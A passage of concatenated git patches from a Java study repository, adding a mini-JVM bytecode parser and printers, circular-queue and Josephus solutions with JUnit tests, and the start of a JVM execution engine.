+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
index 8a7ce5bff5..3b47188bbf 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
@@ -6,6 +6,7 @@
 import com.coderising.jvm.attr.LocalVariableTable;
 import com.coderising.jvm.attr.StackMapTable;
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
@@ -76,4 +77,8 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return method;
 		
 	}
+
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
 }
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..14407bacbe
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..028161adc7
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index fb84048026..0d5f2b1685 100644
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -9,6 +9,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
@@ -272,5 +276,78 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
-
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 }

From e614acf8d08e275dd057d2405f713e89a7762d6d Mon Sep 17 00:00:00 2001
From: zj <2258659044@qq.com>
Date: Mon, 24 Apr 2017 23:33:45 +0800
Subject: [PATCH 119/262] =?UTF-8?q?=E5=AE=8C=E6=88=90=E5=BE=AA=E7=8E=AF?=
 =?UTF-8?q?=E9=98=9F=E5=88=97=E4=B8=8EJosephus=E9=97=AE=E9=A2=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/com/coding/basic/array/ArrayList.java | 10 +++
 .../com/coding/basic/queue/CircleQueue.java   | 57 ++++++++++--
 .../src/com/coding/basic/queue/Josephus.java  | 19 +++-
 .../coding/basic/queue/CircleQueueTest.java   | 87 +++++++++++++++++++
 .../com/coding/basic/queue/JosephusTest.java  |  2 +-
 5 files changed, 167 insertions(+), 8 deletions(-)
 create mode 100644 group12/2258659044/zj-2017/src/test/com/coding/basic/queue/CircleQueueTest.java

diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
index 73f3b9649e..0333ac61b8 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/array/ArrayList.java
@@ -64,6 +64,16 @@ public Object[] toArray(){
 		return objArr;
 	}
 	
+	@Override
+	public String toString() {
+		
+		StringBuilder str = new StringBuilder();
+    	str.append("[");
+		for (int i = 0; i < size; i++) {
+			str.append(elementData[i].toString()+",");
+		}		
+		return str.toString().substring(0, str.length()-1)+"]";
+	}
 	/**
 	 * 扩容，扩容因子为10
 	 */
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/queue/CircleQueue.java b/group12/2258659044/zj-2017/src/com/coding/basic/queue/CircleQueue.java
index 4d99dc68e0..260f1735e7 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/queue/CircleQueue.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/queue/CircleQueue.java
@@ -13,21 +13,68 @@ public class CircleQueue <E> {
 	private int rear = 0;
 	
 	public boolean isEmpty() {
-		return false;
-        
+		
+        return front == rear;
     }
 
     public int size() {
-        return -1;
+    	
+    	return rear-front>0?(rear-front):(rear-front+DEFAULT_SIZE);
     }
 
     
 
     public void enQueue(E data) {
         
+    	rangeCheck(rear);   	
+    	elementData[rear] = data;  
+    	rear = (rear+1)%DEFAULT_SIZE;
+    }
+
+    @SuppressWarnings("unchecked")
+	public E deQueue() {
+    	
+    	if(isEmpty()){
+    		return null;
+    	}
+    	Object obj = elementData[front];   	
+    	front = (front+1)%DEFAULT_SIZE;
+        return (E) obj;
     }
+    
+    /**
+     * 数组最后一个空间不存放数据<br>
+     * 用来区分队列的空或者满
+     * @param rear
+     */
+    private void rangeCheck(int rear) {
+		
+		if ((rear+1)%DEFAULT_SIZE == front) {
+			throw new IndexOutOfBoundsException("队列数据已满！");
+		}
+	}
+    
+    @Override
+    public String toString() {
 
-    public E deQueue() {
-        return null;
+    	if(isEmpty()){
+    		return "[]";
+    	}
+    	    	
+    	Object[] temp = new Object[DEFAULT_SIZE];
+    	System.arraycopy(elementData, 0, temp, 0, DEFAULT_SIZE);
+    	
+    	int frontTemp = front;
+    	int rearTemp = rear;
+    	
+    	StringBuilder str = new StringBuilder();
+    	str.append("[");
+    	while(!isEmpty()){    		
+    		str.append(this.deQueue().toString()+",");
+    	}
+    	    	
+    	front = frontTemp;
+    	rear = rearTemp;
+    	return str.toString().substring(0, str.length()-1)+"]";
     }
 }
diff --git a/group12/2258659044/zj-2017/src/com/coding/basic/queue/Josephus.java b/group12/2258659044/zj-2017/src/com/coding/basic/queue/Josephus.java
index 6ca15ac7f2..22c8214373 100644
--- a/group12/2258659044/zj-2017/src/com/coding/basic/queue/Josephus.java
+++ b/group12/2258659044/zj-2017/src/com/coding/basic/queue/Josephus.java
@@ -1,6 +1,7 @@
 package com.coding.basic.queue;
 
 import com.coding.basic.List;
+import com.coding.basic.array.ArrayList;
 
 /**
  * 用Queue来实现Josephus问题
@@ -11,8 +12,22 @@
  */
 public class Josephus {
 	
-	public static List<Integer> execute(int n, int m){		
-		return null;
+	public static List<Integer> execute(int n, int m){	
+		
+		CircleQueue<Integer> queue = new CircleQueue<>();
+		for (int i = 0; i < n; i++) {
+			queue.enQueue(i);
+		}
+		
+		List<Integer> ls = new ArrayList<>();
+		while(!queue.isEmpty()){
+			int position = (m-1)%queue.size();
+			for (int i = 0; i < position; i++) {
+				queue.enQueue(queue.deQueue());
+			}
+			ls.add(queue.deQueue());
+		}
+		return ls;
 	}
 	
 }
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/CircleQueueTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..1da8ca1957
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/CircleQueueTest.java
@@ -0,0 +1,87 @@
+package test.com.coding.basic.queue;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.queue.CircleQueue;
+
+public class CircleQueueTest {
+
+	CircleQueue<Object> qe;;
+	
+	@Before
+    public void setup() {
+		qe = new CircleQueue<>();		
+    }
+	
+	@Test
+	public void testIsEmpty() {
+		
+		Assert.assertEquals(true, qe.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		
+		for (int i = 0; i < 9; i++) {
+			qe.enQueue(i);
+		}
+		Assert.assertEquals(9, qe.size());
+	}
+
+	@Test//(expected = IndexOutOfBoundsException.class)
+	public void testEnQueue() {
+		
+		for (int i = 0; i < 7; i++) {
+			qe.enQueue(i);
+		}
+		Assert.assertEquals("[0,1,2,3,4,5,6]", qe.toString());
+		
+		//打开下面测试一场
+		/*for (int i = 7; i < 10; i++) {
+			qe.enQueue(i);
+		}*/
+	}
+
+	@Test
+	public void testDeQueue() {
+		
+		for (int i = 0; i < 9; i++) {
+			qe.enQueue(i);
+		}
+		Assert.assertEquals(9,qe.size());
+		
+		Assert.assertEquals(0,qe.deQueue());
+		Assert.assertEquals("[1,2,3,4,5,6,7,8]", qe.toString());
+		Assert.assertEquals(8,qe.size());
+		
+		Assert.assertEquals(1,qe.deQueue());
+		Assert.assertEquals("[2,3,4,5,6,7,8]", qe.toString());
+		Assert.assertEquals(7,qe.size());
+		
+		qe.enQueue(1);
+		Assert.assertEquals("[2,3,4,5,6,7,8,1]", qe.toString());
+		Assert.assertEquals(8,qe.size());
+		
+		qe.enQueue(0);
+		Assert.assertEquals("[2,3,4,5,6,7,8,1,0]", qe.toString());
+		Assert.assertEquals(9,qe.size());
+		
+		for (int i = 0; i < 9; i++) {
+			qe.deQueue();
+			qe.enQueue(i);
+		}
+		Assert.assertEquals(9,qe.size());
+		
+		qe.deQueue();qe.deQueue();
+		Assert.assertEquals(7,qe.size());
+		
+		qe.enQueue(4);
+		Assert.assertEquals(8,qe.size());
+		
+		qe.enQueue(4);
+		Assert.assertEquals(9,qe.size());
+	}
+
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/JosephusTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/JosephusTest.java
index 4b9176a8ca..44865ae373 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/JosephusTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/queue/JosephusTest.java
@@ -20,7 +20,7 @@ public void tearDown() throws Exception {
 	@Test
 	public void testExecute() {
 		
-		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		Assert.assertEquals("[1,3,5,0,4,2,6]", Josephus.execute(7, 2).toString());
 		
 	}
 

From 64aa2b1f7d828ee4337128c3a7cb0048f0a5d450 Mon Sep 17 00:00:00 2001
From: onlyLYJ <382266293@qq.com>
Date: Tue, 25 Apr 2017 06:55:26 +0800
Subject: [PATCH 120/262] Queue done

---
 .../coding/basic/queue/CircleQueue.java       | 71 ++++++++++++++
 .../coding/basic/queue/CircleQueueTest.java   | 64 +++++++++++++
 .../coding/basic/queue/Josephus.java          | 32 +++++++
 .../coding/basic/queue/JosephusTest.java      | 27 ++++++
 .../382266293/coding/basic/queue/Queue.java   | 61 ++++++++++++
 .../basic/queue/QueueWithTwoStacks.java       | 58 +++++++++++
 .../coderising/download/FileDownloader.java   |  2 +-
 .../download/FileDownloaderTest.java          |  4 +-
 .../download/impl/ConnectionImpl.java         |  2 +-
 .../jvm/engine/ExecutionResult.java           | 56 +++++++++++
 .../coderising/jvm/engine/ExecutorEngine.java | 35 +++++++
 .../src/com/coderising/jvm/engine/Heap.java   | 39 ++++++++
 .../com/coderising/jvm/engine/JavaObject.java | 71 ++++++++++++++
 .../com/coderising/jvm/engine/MethodArea.java | 75 +++++++++++++++
 .../com/coderising/jvm/engine/MiniJVM.java    | 28 ++++++
 .../com/coderising/jvm/engine/StackFrame.java | 95 +++++++++++++++++++
 16 files changed, 717 insertions(+), 3 deletions(-)
 create mode 100644 group12/382266293/coding/basic/queue/CircleQueue.java
 create mode 100644 group12/382266293/coding/basic/queue/CircleQueueTest.java
 create mode 100644 group12/382266293/coding/basic/queue/Josephus.java
 create mode 100644 group12/382266293/coding/basic/queue/JosephusTest.java
 create mode 100644 group12/382266293/coding/basic/queue/Queue.java
 create mode 100644 group12/382266293/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group12/382266293/src/com/coderising/jvm/engine/ExecutionResult.java
 create mode 100644 group12/382266293/src/com/coderising/jvm/engine/ExecutorEngine.java
 create mode 100644 group12/382266293/src/com/coderising/jvm/engine/Heap.java
 create mode 100644 group12/382266293/src/com/coderising/jvm/engine/JavaObject.java
 create mode 100644 group12/382266293/src/com/coderising/jvm/engine/MethodArea.java
 create mode 100644 group12/382266293/src/com/coderising/jvm/engine/MiniJVM.java
 create mode 100644 group12/382266293/src/com/coderising/jvm/engine/StackFrame.java

diff --git a/group12/382266293/coding/basic/queue/CircleQueue.java b/group12/382266293/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..d960510914
--- /dev/null
+++ b/group12/382266293/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,71 @@
+package queue;
+
+/**
+ * 用数组实现循环队列
+ * 
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue<E> {
+
+	private final static int DEFAULT_SIZE = 11;
+
+	// 用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE];
+
+	// 队头
+	private int front = 0;
+	// 队尾
+	private int rear = 0;
+
+	public boolean isEmpty() {
+		return size() == 0;
+
+	}
+
+	public int size() {
+		return getIndex(front - rear);
+	}
+
+	private int getIndex(int i) {
+		return i % DEFAULT_SIZE;
+	}
+
+	public void enQueue(E data) {
+		checkCapacity();
+		elementData[getIndex(front)] = data;
+		front++;
+	}
+
+	private void checkCapacity() {
+		if (getIndex(front - rear + 1) == 0) {
+			throw new RuntimeException("Queue is full");
+		}
+	}
+
+	public E deQueue() {
+		if (size() == 0) {
+			return null;
+		}
+		Object o = elementData[getIndex(rear)];
+		rear++;
+		return (E) o;
+	}
+
+	@Override
+	public String toString() {
+
+		StringBuilder sb = new StringBuilder();
+		sb.append("[");
+		for (int i = 0; i < size(); i++) {
+			sb.append(elementData[getIndex(rear + i)]);
+			if (i != size() - 1) {
+				sb.append(",");
+			}
+		}
+		sb.append("]");
+		return sb.toString();
+	}
+
+}
diff --git a/group12/382266293/coding/basic/queue/CircleQueueTest.java b/group12/382266293/coding/basic/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..f74954c6d8
--- /dev/null
+++ b/group12/382266293/coding/basic/queue/CircleQueueTest.java
@@ -0,0 +1,64 @@
+package queue;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Test;
+
+public class CircleQueueTest {
+
+	CircleQueue cq = new CircleQueue();
+
+    @After  
+    public void tearDown() throws Exception {
+    	cq = null;
+    }
+    
+	@Test
+	public void testIsEmpty() {
+		assertEquals(cq.size(),0);
+	}
+
+	@Test
+	public void testSize() {
+		for (int i = 0; i < 10; i++) {
+			cq.enQueue(i);
+		}
+		
+		cq.deQueue();
+		cq.deQueue();
+		System.out.println(cq);
+		cq.enQueue(10);
+		cq.enQueue(11);
+		assertEquals(10,cq.size());
+		System.out.println(cq);
+		
+		int i = 2;
+		while(cq.size() > 0) {
+			assertEquals(i++, cq.deQueue());
+		}
+	}
+
+	@Test
+	public void testEnQueue() {
+		for (int i = 0; i < 5; i++) {
+			cq.enQueue(i);
+		}
+		assertEquals(5,cq.size());
+	}
+
+	@Test
+	public void testDeQueue() {
+		for (int i = 0; i < 10; i++) {
+			cq.enQueue(i);
+		}
+		
+		int i = 0;
+		while(cq.size() > 0) {
+			assertEquals(i++, cq.deQueue());
+		}
+		
+		
+	}
+
+}
diff --git a/group12/382266293/coding/basic/queue/Josephus.java b/group12/382266293/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..e98409d5d8
--- /dev/null
+++ b/group12/382266293/coding/basic/queue/Josephus.java
@@ -0,0 +1,32 @@
+package queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		
+		QueueWithTwoStacks<Integer> cq = new QueueWithTwoStacks();
+		for (int i = 0; i < n; i++) {
+			cq.enQueue(i);
+		}
+		List<Integer> result = new ArrayList<>();
+		while (cq.size() > 0) {
+			for (int i = 0; i < m-1; i++) {
+				cq.enQueue(cq.deQueue());
+			}
+			result.add(cq.deQueue());
+		}
+		
+		return result;
+	}
+	
+}
diff --git a/group12/382266293/coding/basic/queue/JosephusTest.java b/group12/382266293/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..ac258383db
--- /dev/null
+++ b/group12/382266293/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group12/382266293/coding/basic/queue/Queue.java b/group12/382266293/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..5b720fc5e3
--- /dev/null
+++ b/group12/382266293/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group12/382266293/coding/basic/queue/QueueWithTwoStacks.java b/group12/382266293/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..03d243d8c0
--- /dev/null
+++ b/group12/382266293/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,58 @@
+package queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * 
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	
+	private Stack<E> stack1;
+	private Stack<E> stack2;
+
+	public QueueWithTwoStacks() {
+		stack1 = new Stack<E>();
+		stack2 = new Stack<E>();
+	}
+
+	public boolean isEmpty() {
+		return size() == 0;
+	}
+
+	public int size() {
+		return stack2.size() + stack1.size();
+	}
+
+	public void enQueue(E item) {
+		if (stack2.size() != 0) {
+			drop(stack2, stack1, stack2.size());
+		}
+
+		stack1.push(item);
+	}
+
+	private void drop(Stack<E> stack2, Stack<E> stack1, int num) {
+		for (int i = 0; i < num; i++) {
+			stack1.push(stack2.pop());
+		}
+	}
+
+	public E deQueue() {
+		if (size() <= 0) {
+			return null;
+		}
+
+		if (stack1.size() != 0) {
+			drop(stack1, stack2, stack1.size() - 1);
+			return stack1.pop();
+		}
+
+		return stack2.pop();
+
+	}
+
+}
diff --git a/group12/382266293/src/com/coderising/download/FileDownloader.java b/group12/382266293/src/com/coderising/download/FileDownloader.java
index 311ebede84..ea8b3dce85 100644
--- a/group12/382266293/src/com/coderising/download/FileDownloader.java
+++ b/group12/382266293/src/com/coderising/download/FileDownloader.java
@@ -71,7 +71,7 @@ public void execute() {
 			int length = conn.getContentLength();
 
 			System.out.println("file length:" + length);
-			setLocation("C:\\");
+			setLocation("d:\\");
 
 			String name = conn.getFileName();
 			setFileName(name);
diff --git a/group12/382266293/src/com/coderising/download/FileDownloaderTest.java b/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
index b9c458d2a6..c117b9d878 100644
--- a/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
+++ b/group12/382266293/src/com/coderising/download/FileDownloaderTest.java
@@ -15,6 +15,8 @@ public class FileDownloaderTest {
 
 	public static String foxmail = "http://sw.bos.baidu.com/sw-search-sp/software/6c7bb8b6674d0/fm728chb379_7.2.8.379_setup.exe";
 
+	public static String Git = "https://github.com/onlyliuxin/coding2017/archive/master.zip";
+	
 	boolean downloadFinished = false;
 	@Before
 	public void setUp() throws Exception {
@@ -28,7 +30,7 @@ public void testDownload() {
 
 		String url = "http://localhost:8080/test.jpg";
 
-		FileDownloader downloader = new FileDownloader(foxmail);
+		FileDownloader downloader = new FileDownloader(qq);
 
 		ConnectionManager cm = new ConnectionManagerImpl();
 		downloader.setConnectionManager(cm);
diff --git a/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java b/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
index 7c772bc665..2c89e4c883 100644
--- a/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
+++ b/group12/382266293/src/com/coderising/download/impl/ConnectionImpl.java
@@ -3,12 +3,12 @@
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.net.HttpURLConnection;
 import java.net.URL;
 
 import com.coderising.download.api.Connection;
 import com.coderising.download.api.ConnectionManager;
 
-import sun.net.www.protocol.http.HttpURLConnection;
 
 public class ConnectionImpl implements Connection {
 
diff --git a/group12/382266293/src/com/coderising/jvm/engine/ExecutionResult.java b/group12/382266293/src/com/coderising/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..8f6c51e52a
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/engine/ExecutionResult.java
@@ -0,0 +1,56 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
